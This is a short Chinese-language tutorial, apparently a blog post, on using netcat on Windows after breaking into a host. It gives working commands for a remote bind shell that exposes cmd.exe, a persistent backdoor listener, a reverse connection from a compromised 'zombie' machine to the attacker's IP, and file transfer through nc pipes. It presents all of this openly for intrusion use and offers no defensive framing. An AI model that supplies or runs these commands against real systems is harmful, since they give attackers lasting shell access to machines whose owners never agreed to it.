黑客入侵利器，nc实战（Windows版本）

入侵主机后，利用nc的一些方法

Tip：软件下载地址-------http://down.51cto.com/data/1982508

1.端口监听，可配合sfind使用

sfind -p port ip 来测试该端口本地是否可监听；

nc -vv -l -p port 监听端口port的通信；

2.搭建简单的远程shell

远程主机运行 nc -l -p port -t -e cmd.exe (-t:以telnet形式连接 -e:程序定向)

本机以telnet remote-ip_address port 即可直接登陆

3.长期后门的建立

远程主机运行 nc -l -p port -L -d cmd.exe；其他同2；

4.反向连接，远程绑定cmdshell

local ip:192.168.1.6 remote ip:192.168.72.143

把远程主机的cmdshell绑定到本机ip的某个端口；

本地监听绑定的端口，自动连接到远程主机（肉鸡）；

5.建立数据管道，传输文件；

肉鸡开始监听port，结果输出到某个文件；

本地读取要传输的文件，传输到相应的端口；

成功发送，简单实惠；

6.其他功能，比如做蜜罐，抢占系统服务端口，扫描端口等；有其他更好的软件可用，后续会写~